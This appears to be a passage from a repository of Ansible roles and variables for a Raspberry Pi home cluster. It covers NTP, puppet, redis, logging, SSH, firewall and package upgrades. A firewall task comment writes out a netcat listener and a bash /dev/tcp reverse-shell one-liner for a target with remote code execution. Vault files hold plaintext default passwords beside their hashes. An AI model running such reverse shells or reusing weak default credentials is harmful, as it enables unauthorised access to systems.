20 | fudge 127.127.1.0 stratum 10 21 | 22 | # By default, exchange time with everybody, but don't allow configuration. 23 | restrict -4 default kod notrap nomodify nopeer noquery limited 24 | restrict -6 default kod notrap nomodify nopeer noquery limited 25 | 26 | # Local users may interrogate the ntp server more closely. 27 | restrict 127.0.0.1 28 | restrict ::1 29 | 30 | # Needed for adding pool entries 31 | restrict source notrap nomodify noquery 32 | -------------------------------------------------------------------------------- /ansible/roles/puppet-agent/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | 3 | pup_master_uri: "puppet.example.com" 4 | -------------------------------------------------------------------------------- /ansible/roles/puppet-agent/files/puppet.service: -------------------------------------------------------------------------------- 1 | # 2 | # puppet agent - setup by ansible 3 | # 4 | [Unit] 5 | Description=Rpi puppet agent 6 | Wants=basic.target 7 | After=basic.target network.target 8 | 9 | [Service] 10 | EnvironmentFile=-/etc/sysconfig/puppetagent 11 | EnvironmentFile=-/etc/sysconfig/puppet 12 | EnvironmentFile=-/etc/default/puppet 13 | ExecStart=/usr/local/bin/puppet agent $PUPPET_EXTRA_OPTS --no-daemonize 14 | ExecReload=/bin/kill -HUP $MAINPID 15 | KillMode=process 16 | 17 | [Install] 18 | WantedBy=multi-user.target 19 | -------------------------------------------------------------------------------- /ansible/roles/puppet-agent/files/remove_puppet.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | systemctl stop puppet.service 4 | systemctl disable puppet.service 5 | 6 | rm -rf -- /etc/puppetlabs/ 7 | rm -rf -- /etc/default/puppet 8 | rm -rf -- /etc/systemd/system/multi-user.target.wants/puppet.service 9 | 10 | systemctl daemon-reload 11 | -------------------------------------------------------------------------------- /ansible/roles/puppet-agent/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: puppet-agent 4 | author: crgm 5 | description: install the puppet agent 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/readme.md: -------------------------------------------------------------------------------- 1 | # roles/ 2 | 3 | My Ansible Roles. 4 | 5 | Location on deployer: /home/pi/rpi_cluster/ansible/roles -------------------------------------------------------------------------------- /ansible/roles/reboot/files/check_rebooted.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # name: check_rebooted.sh 3 | # desc: check our uptime and alert if greater than 10 minutes. 4 | 5 | cur_up=$(awk '{print $0/60;}' /proc/uptime) 6 | 7 | if [ $(echo "$cur_up < 10" | bc) -ne 0 ]; 8 | then 9 | echo "ok"; 10 | true; 11 | else 12 | echo "ERROR"; 13 | false; 14 | fi 15 | -------------------------------------------------------------------------------- /ansible/roles/redis/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Redis server - https://redis.io/ 3 | - debug: msg="Redis server role " 4 | 5 | 6 | - name: install redis 7 | apt: 8 | name: "{{ item }}" 9 | state: present 10 | loop: 11 | - redis-tools 12 | - redis-server 13 | become: true 14 | tags: [redis] 15 | 16 | 17 | - name: redis-server is started and enabled 18 | service: 19 | name: redis-server 20 | state: started 21 | enabled: true 22 | become: true 23 | tags: [redis] 24 | 25 | 26 | - name: install python redis module 27 | pip: 28 | name: redis 29 | executable: pip3 30 | become: true 31 | tags: [redis] 32 | 33 | 34 | - name: get redis server info 35 | command: redis-cli info server 36 | register: redis_server_info 37 | changed_when: false 38 | tags: [redis] 39 | 40 | 41 | - name: check redis server ok 42 | assert: 43 | that: 44 | - "'process_id' in redis_server_info.stdout" 45 | tags: [redis] 46 | 47 | 48 | - name: Configure local redis to have 500 max clients 49 | redis: 50 | command: config 51 | name: maxclients 52 | value: "500" 53 | tags: [redis] 54 | 55 | 56 | - name: roles info txt 57 | lineinfile: 58 | path: /opt/cluster/data/info_roles.txt 59 | line: "{{ role_path|basename }}" 60 | owner: root 61 | group: root 62 | mode: 0444 63 | become: true 64 | tags: [redis] 65 | -------------------------------------------------------------------------------- /ansible/roles/rpilog/files/22-rpicluster.conf: -------------------------------------------------------------------------------- 1 | :syslogtag, isequal, "rpicluster:" /var/log/rpicluster.log 2 | & stop 3 | -------------------------------------------------------------------------------- /ansible/roles/rpilog/files/test-rpilog.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # check rpilog ansible role has setup the host properly. 4 | 5 | 6 | rpilogit () { 7 | echo -e "rpicluster: $script_name $1 \n"; 8 | logger -t rpicluster "$script_name $1"; 9 | } 10 | 11 | 12 | scriptname=$(basename -- "$1") 13 | hostname=$(hostname) 14 | test_token=$(uuidgen) 15 | 16 | rpilogit "${scriptname} checking rpilog on ${hostname}"; 17 | rpilogit "${scriptname} looking for token: ${test_token}"; 18 | 19 | grep --silent "${test_token}" /var/log/rpicluster.log 20 | 21 | if [ $? -eq 0 ]; then 22 | rpilogit "${scriptname} test passed" 23 | true 24 | exit 25 | else 26 | rpilogit "${scriptname} ERROR test failed" 27 | exit 1 28 | fi 29 | -------------------------------------------------------------------------------- /ansible/roles/rpilog/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: syslog-restart 5 | service: 6 | name: rsyslog 7 | state: restarted 8 | notify: test the role is working 9 | become: true 10 | 11 | 12 | - name: test the role is working 13 | script: /opt/cluster/bin/test-rpilog.sh 14 | changed_when: false -------------------------------------------------------------------------------- /ansible/roles/rpilog/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: rpilog 4 | author: crgm 5 | description: custom /var/log/rpicluster.log logging 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/rpilog/templates/rpilogro.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # ansible role: {{role_path|basename}} 3 | # 4 | /var/log/rpicluster.log { 5 | maxsize 1M 6 | missingok 7 | compress 8 | notifempty 9 | rotate 8 10 | create 0664 {{ ansible_user_id }} adm 11 | } 12 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/defaults/main.yml: -------------------------------------------------------------------------------- 1 | 2 | ssh_group_port: "2229" 3 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # ssh handlers 3 | 4 | 5 | # restart ssh 6 | - name: sshd_restart 7 | service: 8 | name: ssh 9 | state: restarted 10 | become: true 11 | tags: [ssh] 12 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: ssh-server 4 | author: crgm 5 | description: sshd server config 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | - role: userac 16 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/templates/auth_principals/pi.j2: -------------------------------------------------------------------------------- 1 | pi 2 | pi-everywhere -------------------------------------------------------------------------------- /ansible/roles/ssh-server/templates/avahi_ssh_service.j2: -------------------------------------------------------------------------------- 1 | 2 | %h 3 | 4 | _ssh._tcp 5 | {{ ssh_group_port }} 6 | 7 | 8 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/templates/etc/motd.j2: -------------------------------------------------------------------------------- 1 | 2 | ======================================== 3 | .......:: Raspberry Pi Cluster ::....... 4 | ---------------------------------------- 5 | Name: {{ inventory_hostname }} 6 | {% if 'compute' in group_names %} 7 | Type: compute/worker node 8 | {% endif %} 9 | {% if 'lanservices' in group_names %} 10 | Type: LanServices - Main 11 | {% endif %} 12 | {% if 'deploy' in group_names %} 13 | Type: Deployer (Admin!!) 14 | {% endif %} 15 | ======================================== 16 | -------------------------------------------------------------------------------- /ansible/roles/ssh-server/templates/etc/ssh/ssh_config.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | # ssh client config of {{ inventory_hostname }} 3 | # setup by role: {{role_path|basename}} 4 | 5 | Host * 6 | ForwardAgent no 7 | ForwardX11 no 8 | ForwardX11Trusted no 9 | # RhostsRSAAuthentication no 10 | # RSAAuthentication yes 11 | # PasswordAuthentication yes 12 | # HostbasedAuthentication no 13 | # GSSAPIAuthentication no 14 | # GSSAPIDelegateCredentials no 15 | # GSSAPIKeyExchange no 16 | # GSSAPITrustDNS no 17 | # BatchMode no 18 | # CheckHostIP yes 19 | # AddressFamily any 20 | ConnectTimeout 12 21 | # StrictHostKeyChecking ask 22 | # IdentityFile ~/.ssh/identity 23 | # Port 22 24 | Protocol 2 25 | # Cipher 3des 26 | # Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc 27 | # MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160 28 | # EscapeChar ~ 29 | # Tunnel no 30 | # TunnelDevice any:any 31 | # PermitLocalCommand no 32 | # VisualHostKey no 33 | # ProxyCommand ssh -q -W %h:%p gateway.example.com 34 | # RekeyLimit 1G 1h 35 | SendEnv LANG LC_* 36 | HashKnownHosts yes 37 | GSSAPIAuthentication yes 38 | GSSAPIDelegateCredentials no 39 | -------------------------------------------------------------------------------- /ansible/roles/sysstat/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: sysstat_restart 4 | service: 5 | name: sysstat 6 | state: restarted 7 | become: true 8 | tags: [sysstat] 9 | -------------------------------------------------------------------------------- /ansible/roles/sysstat/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="sysstat " 3 | 4 | 5 | - name: install sysstat 6 | apt: 7 | state: present 8 | name: sysstat 9 | become: true 10 | register: aptinstsystat 11 | tags: [sysstat] 12 | 13 | 14 | - name: systat enabled on boot 15 | service: 16 | name: sysstat 17 | enabled: true 18 | become: true 19 | tags: [sysstat] 20 | 21 | 22 | - name: copy default config 23 | template: 24 | src: default.j2 25 | dest: /etc/default/sysstat 26 | owner: root 27 | group: root 28 | mode: 0664 29 | backup: true 30 | notify: sysstat_restart 31 | become: true 32 | tags: [sysstat] 33 | 34 | 35 | - name: copy config 36 | template: 37 | src: sysstat.j2 38 | dest: /etc/sysstat/sysstat 39 | owner: root 40 | group: root 41 | mode: 0664 42 | backup: true 43 | notify: sysstat_restart 44 | become: true 45 | tags: [sysstat] 46 | 47 | 48 | - name: systat started 49 | service: 50 | name: sysstat 51 | state: started 52 | become: true 53 | tags: [sysstat] 54 | 55 | 56 | - name: roles info txt 57 | lineinfile: 58 | path: /opt/cluster/data/info_roles.txt 59 | line: "{{ role_path|basename }}" 60 | owner: root 61 | group: root 62 | mode: 0444 63 | become: true 64 | tags: [sysstat] 65 | -------------------------------------------------------------------------------- /ansible/roles/sysstat/templates/default.j2: -------------------------------------------------------------------------------- 1 | # 2 | # {{ ansible_managed }} 3 | # created by role: {{role_path|basename}} 4 | 5 | # Default settings for /etc/init.d/sysstat, /etc/cron.d/sysstat 6 | # and /etc/cron.daily/sysstat files 7 | # 8 | 9 | # Should sadc collect system activity informations? Valid values 10 | # are "true" and "false". Please do not put other values, they 11 | # will be overwritten by debconf! 12 | ENABLED="true" 13 | -------------------------------------------------------------------------------- /ansible/roles/sysstat/templates/sysstat.j2: -------------------------------------------------------------------------------- 1 | # 2 | # {{ ansible_managed }} 3 | # created by role: {{role_path|basename}} 4 | 5 | # sysstat configuration file. See sysstat(5) manual page. 6 | 7 | # How long to keep log files (in days). 8 | # Used by sa2(8) script 9 | # If value is greater than 28, then log files are kept in 10 | # multiple directories, one for each month. 11 | HISTORY=7 12 | 13 | # Compress (using xz, gzip or bzip2) sa and sar files older than (in days): 14 | COMPRESSAFTER=10 15 | 16 | # Parameters for the system activity data collector (see sadc(8) manual page) 17 | # which are used for the generation of log files. 18 | # By default contains the `-S DISK' option responsible for generating disk 19 | # statisitcs. Use `-S XALL' to collect all available statistics. 20 | SADC_OPTIONS="-S DISK" 21 | 22 | # Directory where sa and sar files are saved. 23 | SA_DIR=/var/log/sysstat 24 | 25 | # Compression program to use. 26 | ZIP="xz" 27 | 28 | # By default sa2 script generates yesterday's summary, since the cron job 29 | # usually runs right after midnight. If you want sa2 to generate the summary 30 | # of the same day (for example when cron job runs at 23:53) set this variable. 31 | #YESTERDAY=no 32 | 33 | # By default sa2 script generates reports files (the so called sarDD files). 34 | # Set this variable to false to disable reports generation. 35 | #REPORTS=false 36 | -------------------------------------------------------------------------------- /ansible/roles/ufw/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - name: ufw_restart 5 | service: 6 | name: ufw 7 | state: restarted 8 | become: true 9 | -------------------------------------------------------------------------------- /ansible/roles/ufw/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: ufw 4 | author: crgm 5 | description: install ufw to manage iptables and then setup some firewall rules 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/ufw/tasks/compute.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="ufw rules for Compute group " 3 | 4 | 5 | # SSH access 6 | - name: Allow SSH from our local subnet 7 | ufw: 8 | rule: allow 9 | port: '{{ item }}' 10 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}" 11 | comment: SSH access 12 | become: true 13 | notify: ufw_restart 14 | with_items: 15 | - '22' 16 | 17 | 18 | # for Docker network addons - allow all inernal subnets 19 | - name: Allow internal subnets any ports 20 | ufw: 21 | rule: allow 22 | src: '{{ item }}' 23 | notify: ufw_restart 24 | become: true 25 | with_items: 26 | - 10.0.0.0/8 27 | - 172.16.0.0/12 28 | - 192.168.0.0/16 29 | 30 | 31 | - name: Allow incoming access to cni0 32 | ufw: 33 | rule: allow 34 | interface: cni0 35 | direction: in 36 | become: true 37 | - name: Allow out access to cni0 38 | ufw: 39 | rule: allow 40 | interface: cni0 41 | direction: out 42 | become: true 43 | 44 | - name: Allow incoming access to docker0 45 | ufw: 46 | rule: allow 47 | interface: docker0 48 | direction: in 49 | become: true 50 | - name: Allow out access to docker0 51 | ufw: 52 | rule: allow 53 | interface: docker0 54 | direction: out 55 | become: true -------------------------------------------------------------------------------- /ansible/roles/ufw/tasks/deployer.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="ufw rules for Deployer group " 3 | 4 | 5 | - name: Allow ssh access from RFC1918 networks to this host 6 | ufw: 7 | rule: allow 8 | src: '{{ item }}' 9 | proto: tcp 10 | port: '22' 11 | comment: SSH to deployer from private networks 12 | become: true 13 | notify: ufw_restart 14 | with_items: 15 | - 10.0.0.0/8 16 | - 172.16.0.0/12 17 | - 192.168.0.0/16 18 | 19 | 20 | # 21 | # On deployer, our attack box, listen for our shell: 22 | # 23 | # nc -lvp 1337 24 | # 25 | # On the target, where you have RCE, you can run: 26 | # 27 | # bash -i >& /dev/tcp/psi.local/1337 0>&1 28 | # 29 | - name: port to catch shells 30 | ufw: 31 | rule: allow 32 | port: '1337' 33 | proto: tcp 34 | src: '{{ rpi_net_id }}/{{ rpi_net_maskbit }}' 35 | comment: spare port to catch shells 36 | notify: ufw_restart 37 | become: true 38 | -------------------------------------------------------------------------------- /ansible/roles/ufw/tasks/lanservice_main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - debug: msg="ufw rules for lanservice MAIN " 3 | 4 | 5 | # SSH access 6 | - name: Allow SSH from our local subnet 7 | ufw: 8 | rule: allow 9 | port: '{{ item }}' 10 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}" 11 | comment: SSH access 12 | become: true 13 | notify: ufw_restart 14 | with_items: 15 | - '22' 16 | 17 | 18 | # Alpha and Beta have full access between each other 19 | - name: Allow all access from my failover 20 | ufw: 21 | rule: allow 22 | src: "{{ rpi_failover_ip }}/32" 23 | comment: my lanservice_main failover 24 | become: true 25 | notify: ufw_restart 26 | 27 | 28 | # The services we provide for our local subnet 29 | - name: Allow access these ports from our local subnet 30 | ufw: 31 | rule: allow 32 | port: '{{ item }}' 33 | src: "{{ rpi_net_id }}/{{ rpi_net_maskbit }}" 34 | comment: services for local lan 35 | become: true 36 | notify: ufw_restart 37 | with_items: 38 | - '53' 39 | - '67' 40 | - '68' 41 | - '69' 42 | - '123' 43 | -------------------------------------------------------------------------------- /ansible/roles/upgrades/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: upgrades 4 | author: crgm 5 | description: update all apt packages 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | -------------------------------------------------------------------------------- /ansible/roles/upgrades/tasks/package_apt.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # upgrade all apt packages, and check after 3 | - debug: msg="package upgrades for apt " 4 | 5 | 6 | - name: Check we get a http status 200 from raspbian mirror 7 | uri: 8 | url: "{{ apt_mirror_rasp }}" 9 | 10 | 11 | # update Apt cache 12 | - name: update apt cache 13 | apt: 14 | update_cache: true 15 | become: true 16 | retries: 2 17 | check_mode: no 18 | changed_when: False 19 | tags: [maintenance] 20 | 21 | 22 | - name: pause 23 | pause: 24 | seconds: 2 25 | tags: [maintenance] 26 | 27 | 28 | # Upgrade all Apt packages 29 | - name: Upgrade all packages to the latest version 30 | apt: 31 | name: "*" 32 | state: latest 33 | retries: 2 34 | become: true 35 | register: apt_upgraded 36 | tags: [maintenance] 37 | 38 | 39 | - name: pause 40 | pause: 41 | seconds: 3 42 | tags: [maintenance] 43 | when: apt_upgraded.changed 44 | 45 | 46 | # actually check all packages are current 47 | - name: check apt packages are current 48 | command: /usr/lib/nagios/plugins/check_apt --timeout=30 --list 49 | register: checkapt_nag 50 | become: true 51 | changed_when: False 52 | failed_when: 53 | - "'APT OK: 0 packages available for upgrade (0 critical updates)' not in checkapt_nag.stdout" 54 | -------------------------------------------------------------------------------- /ansible/roles/upgrades/tasks/package_gem.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - debug: msg="package upgrades for ruby " 5 | 6 | 7 | - name: update ruby gems packages 8 | gem: 9 | name: "*" 10 | state: latest 11 | become: true -------------------------------------------------------------------------------- /ansible/roles/upgrades/tasks/package_pip.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - debug: msg="package upgrades for pip " 5 | 6 | 7 | - name: update python pip packages 8 | pip: 9 | name: "*" 10 | state: latest 11 | executable: pip3 12 | become: true -------------------------------------------------------------------------------- /ansible/roles/upgrades/vars/main.yml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ansible/roles/uptimed/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | -------------------------------------------------------------------------------- /ansible/roles/uptimed/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # uptimed - an uptime record daemon 3 | # https://github.com/rpodgorny/uptimed 4 | # use "uprecords" command to view. 5 | - debug: msg="uptimed " 6 | 7 | 8 | - name: install uptimed 9 | apt: 10 | state: present 11 | name: uptimed 12 | become: true 13 | tags: uptimed 14 | 15 | 16 | - name: enable uptimed on boot 17 | service: 18 | name: uptimed 19 | state: started 20 | enabled: true 21 | become: true 22 | tags: uptimed 23 | 24 | 25 | - name: roles info txt 26 | lineinfile: 27 | path: /opt/cluster/data/info_roles.txt 28 | line: "{{ role_path|basename }}" 29 | owner: root 30 | group: root 31 | mode: 0444 32 | become: true 33 | tags: uptimed 34 | -------------------------------------------------------------------------------- /ansible/roles/yarn/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | galaxy_info: 3 | role_name: yarn 4 | author: crgm 5 | description: a javascript package manager 6 | company: crgm inc 7 | license: license (no) 8 | min_ansible_version: 2.8 9 | platforms: 10 | - name: Raspbian 11 | versions: 12 | - stretch 13 | dependencies: 14 | - role: base-system 15 | -------------------------------------------------------------------------------- /ansible/roles/yarn/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Yarn - https://yarnpkg.com/en/ 3 | - debug: msg="deployer (yarn) " 4 | 5 | 6 | 7 | - name: Add yarn apt key 8 | apt_key: 9 | data: "{{ lookup('file', 'yarnkey.asc') }}" 10 | state: present 11 | become: true 12 | 13 | 14 | - name: add yarn apt repo 15 | apt_repository: 16 | repo: deb https://dl.yarnpkg.com/debian/ stable main 17 | state: present 18 | become: true 19 | 20 | 21 | - name: yarn packages installed 22 | apt: 23 | name: "{{ item }}" 24 | state: present 25 | update_cache: true 26 | loop: 27 | - yarn 28 | become: true 29 | retries: 2 30 | 31 | 32 | # log 33 | - name: output to rpicluster log 34 | command: logger -t rpicluster ansible yarn role ran 35 | changed_when: False -------------------------------------------------------------------------------- /ansible/setup/defaults/group_vars/compute/vars: -------------------------------------------------------------------------------- 1 | --- 2 | # Varibles for all compute nodes 3 | 4 | # Common host configs ---------------------------------------------------------- 5 | 6 | host_dir: [ 7 | { dir: '/opt/hpc', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }, 8 | { dir: '/opt/cluster/compute', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" } 9 | ] 10 | 11 | # SSH additional port 12 | ssh_group_port: "2020" 13 | 14 | #------------------------------------------------------------------------------- 15 | 16 | # Compute nodes to use these NTP servers 17 | rpi_ntp_client_1: "{{ hostvars['alpha']['rpi_ip'] }}" 18 | rpi_ntp_client_2: "{{ hostvars['beta']['rpi_ip'] }}" 19 | 20 | #------------------------------------------------------------------------------- 21 | -------------------------------------------------------------------------------- /ansible/setup/defaults/group_vars/compute/vault: -------------------------------------------------------------------------------- 1 | # Compute group vault file 2 | 3 | # OS user password ------------------------------------------------------------- 4 | 5 | # user: root pass: dfaultPW.example_root 6 | # user: piclust pass: dfaultPW.example_123 7 | # user: pi pass: dfaultPW.example_pi 8 | 9 | vault_user_pw: [ 10 | {user: 'root', hash: '$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'}, 11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'}, 12 | {user: 'computeadm', hash: '$6$rounds=656000$YK1qnGCWOE.ssHc4$yIJ/2kWjYBcWofiygJ9x0qH9hu4nY0H60DspBkfxJ0meYvBevvr2d5J2kTW1HnR3WVv.Dj1ypdEmrrrxhvIah0'}, 13 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'} 14 | ] 15 | 16 | # generating the hashes above, on an Admin machine (stretch or psi): 17 | # 18 | # source ~/env/bin/activate 19 | # set +o history 20 | # ansible localhost -m debug -a "msg={{ 'mypassword' | password_hash('sha512', 'mysalt123') }}" 21 | # set -o history 22 | 23 | #------------------------------------------------------------------------------- 24 | -------------------------------------------------------------------------------- /ansible/setup/defaults/group_vars/deploy/vars: -------------------------------------------------------------------------------- 1 | --- 2 | # vars Deployer group 3 | 4 | # Common host configs ---------------------------------------------------------- 5 | 6 | host_dir: [ 7 | { dir: '/home/pi/.ssh/my-ssh-ca', mode: '0700', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' }, 8 | { dir: '/opt/cluster/backup', mode: '0770', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' }, 9 | { dir: '/opt/cluster/deploy-script', mode: '0770', owner: '{{ ansible_user_id }}', group: '{{ ansible_user_id }}' }, 10 | { dir: '/srv/gitrepo/', mode: '0775', owner: '{{ ansible_user_id }}', group: 'staff' } 11 | ] 12 | 13 | # SSH additional port 14 | ssh_group_port: "2222" 15 | 16 | #------------------------------------------------------------------------------- 17 | -------------------------------------------------------------------------------- /ansible/setup/defaults/group_vars/lanservices/vars: -------------------------------------------------------------------------------- 1 | --- 2 | # Varibles for LanServices main (Alpha and Beta nodes) 3 | 4 | # Common host configs ---------------------------------------------------------- 5 | 6 | host_dir: [ 7 | { dir: '/opt/cluster/lanservice', mode: '0750', owner: "{{ ansible_user_id }}", group: "{{ ansible_user_id }}" }, 8 | ] 9 | 10 | # extra SSH port for this group/host 11 | ssh_group_port: "2220" 12 | 13 | #------------------------------------------------------------------------------- 14 | 15 | rpi_dnsd_enabled: true 16 | 17 | # chrooted Busybox webserver 18 | rpi_bb_httpd_enabled: true 19 | 20 | #------------------------------------------------------------------------------- 21 | -------------------------------------------------------------------------------- /ansible/setup/defaults/group_vars/lanservices/vault: -------------------------------------------------------------------------------- 1 | # LanServices group vault file 2 | 3 | # OS user password ------------------------------------------------------------- 4 | 5 | # user: root pass: dfaultPW.example_root 6 | # user: piclust pass: dfaultPW.example_123 7 | # user: pi pass: dfaultPW.example_pi 8 | 9 | vault_user_pw: [ 10 | {user: 'root', hash: '$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'}, 11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'}, 12 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'} 13 | ] 14 | 15 | #------------------------------------------------------------------------------- 16 | 17 | keepalived_pass: "12345678910" 18 | 19 | #------------------------------------------------------------------------------- 20 | -------------------------------------------------------------------------------- /ansible/setup/defaults/host_vars/alpha/vars: -------------------------------------------------------------------------------- 1 | --- 2 | # vars for Alpha (LanServices Main group) 3 | 4 | ansible_host: alpha.local 5 | rpi_racked: "L2" 6 | rpi_ip: "192.168.6.10.6" 7 | rpi_mac: "b8:27:eb:31:XX:XX" 8 | 9 | # DHCP server: 10 | rpi_dhcpd_enabled: true 11 | rpi_dhcpd_status: "primary" 12 | rpi_dhcpd_port: "647" 13 | rpi_dhcpd_port_peer: "648" 14 | # primary only config: 15 | rpi_dhcpd_mclt: "mclt 1800" 16 | rpi_dhcpd_split: "split 128" 17 | 18 | # DNS config: 19 | rpi_dnsd_enabled: true 20 | rpi_dnsd_status: "master" 21 | rpi_dnsd_notify: "yes" 22 | 23 | # /etc/resolv.conf: 24 | rpi_my_dns_server_1: "127.0.0.1" 25 | rpi_my_dns_server_2: "{{ hostvars['beta']['rpi_ip'] }}" 26 | 27 | # Failover host (beta): 28 | rpi_failover_hostname: "beta" 29 | rpi_failover_ip: "{{ hostvars['beta']['rpi_ip'] }}" 30 | rpi_failover_hwaddr: "{{ hostvars['beta']['rpi_mac'] }}" 31 | 32 | # keepalived 33 | keepalived_priority: "100" 34 | keepalived_state: "MASTER" 35 | 36 | #------------------------------------------------------------------------------- 37 | -------------------------------------------------------------------------------- /ansible/setup/defaults/host_vars/beta/vars: -------------------------------------------------------------------------------- 1 | --- 2 | # vars for Beta (LanServices Main group) 3 | 4 | ansible_host: beta.local 5 | rpi_racked: "R2" 6 | rpi_ip: "192.168.6.10.8" 7 | rpi_mac: "b8:27:eb:91:XX:XX" 8 | 9 | # DHCP server: 10 | rpi_dhcpd_enabled: true 11 | rpi_dhcpd_status: "secondary" 12 | rpi_dhcpd_port: "648" 13 | rpi_dhcpd_port_peer: "647" 14 | 15 | # DNS config: 16 | rpi_dnsd_enabled: true 17 | rpi_dnsd_status: "secondary" 18 | rpi_dnsd_notify: "no" 19 | # set on secondary bind9 server only: 20 | rpi_dnsd_masters: "{{ hostvars['alpha']['rpi_ip'] }}" 21 | 22 | # /etc/resolv.conf: 23 | rpi_my_dns_server_1: "127.0.0.1" 24 | rpi_my_dns_server_2: "{{ hostvars['alpha']['rpi_ip'] }}" 25 | 26 | # Failover host (alpha): 27 | rpi_failover_hostname: "alpha" 28 | rpi_failover_ip: "{{ hostvars['alpha']['rpi_ip'] }}" 29 | rpi_failover_hwaddr: "{{ hostvars['alpha']['rpi_mac'] }}" 30 | 31 | # keepalived 32 | keepalived_priority: "101" 33 | keepalived_state: "BACKUP" 34 | 35 | #------------------------------------------------------------------------------- 36 | -------------------------------------------------------------------------------- /ansible/setup/defaults/host_vars/psi/vars: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ansible_host: psi.local 4 | rpi_racked: "L1" 5 | rpi_ip: "127.0.0.1" 6 | rpi_mac: "b8:27:eb:ec:XX:XX" 7 | 8 | #------------------------------------------------------------------------------- 9 | -------------------------------------------------------------------------------- /ansible/setup/defaults/host_vars/psi/vault: -------------------------------------------------------------------------------- 1 | # psi Deployer host vault file 2 | 3 | # OS user password ------------------------------------------------------------- 4 | 5 | # user: root pass: dfaultPW.example_root 6 | # user: piclust pass: dfaultPW.example_123 7 | # user: pi pass: dfaultPW.example_pi 8 | 9 | vault_user_pw: [ 10 | {user: 'root', hash: 